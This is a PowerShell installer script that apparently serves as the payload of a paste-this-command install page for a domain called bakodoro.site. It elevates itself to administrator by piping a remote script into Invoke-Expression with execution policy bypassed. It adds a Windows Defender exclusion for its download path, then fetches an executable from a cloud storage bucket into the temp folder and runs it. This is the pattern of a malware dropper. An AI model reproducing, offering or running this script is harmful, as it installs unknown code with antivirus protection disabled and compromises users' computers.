$ErrorActionPreference = 'Stop' $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Start-Process powershell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"irm bakodoro.site/install | iex`"" exit } $url = "https://pub-902abc14451445e9bf87c5f023d879d7.r2.dev/otauran-dev.exe" $dest = "$env:TEMP\otauran.exe" try { Add-MpPreference -ExclusionPath $dest -ErrorAction SilentlyContinue } catch {} Invoke-WebRequest -Uri $url -OutFile $dest -UseBasicParsing Start-Process -FilePath $dest